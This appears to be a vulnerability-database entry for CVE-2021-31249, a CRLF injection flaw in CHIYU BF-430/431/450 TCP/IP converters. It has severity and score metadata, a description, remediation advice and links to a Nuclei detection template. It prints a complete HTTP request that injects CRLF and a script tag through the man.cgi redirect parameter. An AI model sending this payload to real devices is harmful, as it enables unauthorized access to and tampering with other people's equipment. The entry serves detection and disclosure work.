| Title | CHIYU TCP/IP Converter - Carriage Return Line Feed Injection |
|---|---|
| Author | geeknik |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability can lead to remote code execution, unauthorized access, or data manipulation. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix the vulnerability. |
| CVSS Score | 6.5 |
| EPSS Score | 0.9258 |
| CVE ID | CVE-2021-31249 |
| CWE ID | CWE-74 |
| Tags | cve2021 cve chiyu crlf iot chiyu-tech vuln |
CHIYU TCP/IP Converter BF-430, BF-431, and BF-450 are susceptible to carriage return line feed injection. The redirect= parameter, available on multiple CGI components, is not properly validated, thus enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
GET /man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port&TF_port&B_mac_apply=APPLY HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31249.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-31249.pcap
N/AN/A